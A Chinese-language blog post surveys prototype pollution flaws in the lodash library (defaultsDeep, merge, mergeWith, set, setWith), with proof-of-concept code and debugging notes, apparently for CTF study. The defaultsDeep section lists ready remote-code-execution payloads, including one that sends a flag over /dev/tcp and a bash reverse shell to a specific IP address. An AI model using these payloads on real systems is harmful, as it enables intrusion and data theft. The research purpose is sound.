lodash原型链污染漏洞大全
看到一篇肥肠好的博客
https://www.anquanke.com/post/id/248170
package.json
"lodash": "4.17.11",
lodash.defaultsDeep
2019 年 7 月 2 日,Snyk 发布了一个高严重性原型污染安全漏洞(CVE-2019-10744),影响了小于 4.17.12 的所有版本的 lodash。
环境搭建
这里借用了Xnuca的源码
官方的验证poc
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
//console.log(111111);
很迷,跑上面的poc不行
我的demo
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})['whoami'] === "Vulnerable") {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
console.log(111111);
使用vscode运行调试server.js
调试lodash.defaultsDeep,
单步执行来到了这里
这时候随便关注一个全局变量
还没被污染
来到最后一个函数时发现被污染,于是进入后发现调用了func.call
变量里面有亲爱的键值了
再单步执行时果然污染了原型链
原理:
defaultsDeep->baseRest->overRest->apply->func.call
简单的说就是overRest里面有个合并的逻辑,然后construct被当作键名传入apply,apply会把它拿来调用
所以这里就简单复现一下,
可以看到,随便点开一个变量,它的原型都被污染了:"whoami": "Vulnerable"
成功在
__proto__
属性中添加了一个whoami
属性,值为Vulnerable
,污染成功。
官方使用的修复方式是直接上waf
在这部分漏洞函数直接加waf
该修复包括以下两项安全检查:
- 过滤了
constructor
以确保我们不会污染全局对象constructor
- 还添加了一个测试用例以确保将来不会发生回归
最终payload
payload1
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}
payload2
"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}
payload3
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}
lodash.merge
lodash版本:4.17.4
4.17.11亲测不行
poc
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};
console.log("Before whoami: " + a.whoami);
lodash.merge({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
Lodash.merge 作为 lodash 中的对象合并插件,他可以递归合并
sources
来源对象自身和继承的可枚举属性到object
目标对象,以创建父映射对象:merge(object, sources)
当两个键相同时,生成的对象将具有最右边的键的值。如果多个对象相同,则新生成的对象将只有一个与这些对象相对应的键和值。
但是这里的 lodash.merge 操作实际上存在原型链污染漏洞,下面对其进行简单的分析,这里使用 4.17.4 版本的 Lodash。
- node_modules/lodash/merge.js
merge.js 调用了 baseMerge 方法,则定位到 baseMerge:
- node_modules/lodash/_baseMerge.js
如果 srcValue 是一个对象则进入 baseMergeDeep 方法,跟进 baseMergeDeep 方法:
- node_modules/lodash/_baseMergeDeep.js
跟进 assignMergeValue 方法:
- node_modules/lodash/_assignMergeValue.js:
跟进 baseAssignValue 方法:
- node_modules/lodash/_baseAssignValue.js
这里的 if 判断可以绕过,最终进入 object[key] = value
的赋值操作。
最终payload
{"__proto__":{"whoami":"Vulnerable"}}
在 lodash.merge 方法造成的原型链污染中,为了实现代码执行,我们常常会污染
sourceURL
属性,即给所有 Object 对象中都插入一个sourceURL
属性,然后通过 lodash.template 方法中的拼接实现任意代码执行漏洞。后文中我们会通过 [Code-Breaking 2018] Thejs 这道题来仔细讲解。
lodash.mergeWith
这个方法类似于 merge
方法。但是它还会接受一个 customizer
,以决定如何进行合并。 如果 customizer
返回 undefined
将会由合并处理方法代替。
mergeWith(object, sources, [customizer])
该方法与 merge
方法一样存在原型链污染漏洞,下面给出一个验证漏洞的 POC:
var lodash= require('lodash');
var payload = '{"__proto__":{"whoami":"thai"}}';
var a = {};
console.log("Before whoami: " + a.whoami);
lodash.mergeWith({}, JSON.parse(payload));
console.log("After whoami: " + a.whoami);
成功在类型为 Object 的 a 对象的 __proto__
属性中添加了一个 whoami
属性,值为 Vulnerable
,污染成功。
最终payload
{"__proto__":{"whoami":"Vulnerable"}}
同merge
lodash.set
lodash.set的使用:
Lodash.set 方法可以用来设置值到对象对应的属性路径上,如果没有则创建这部分路径。 缺少的索引属性会创建为数组,而缺少的属性会创建为对象。
set(object, path, value)
- 示例:
var object = { 'a': [{ 'b': { 'c': 3 } }] };
_.set(object, 'a[0].b.c', 4);
console.log(object.a[0].b.c);
// => 4
_.set(object, 'x[0].y.z', 5);
console.log(object.x[0].y.z);
// => 5
既然是设置属性,那么在使用 Lodash.set 方法时,如果没有对传入的参数进行过滤,则可能会造成原型链污染。下面给出一个验证漏洞的 POC:
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
这个没什么原理,因为函数的功能本身就提供了设置属性的操作。
验证poc
最终payload
lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith
Lodash.setWith 方法类似 set
方法。但是它还会接受一个 customizer
,用来调用并决定如何设置对象路径的值。 如果 customizer
返回 undefined
将会有它的处理方法代替。
setWith(object, path, value, [customizer])
该方法与 set
方法一样可以进行原型链污染,下面给出一个验证漏洞的 POC:
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };
var object_2 = {}
console.log(object_1.whoami);
//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');
lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');
console.log(object_1.whoami);
验证poc
至此,我们已经对 lodash 模块中的几个原型链污染做了验证,可以成功污染原型中的属性。但如果要进行代码执行,则还需要配合 eval()
方法的执行或模板引擎的渲染。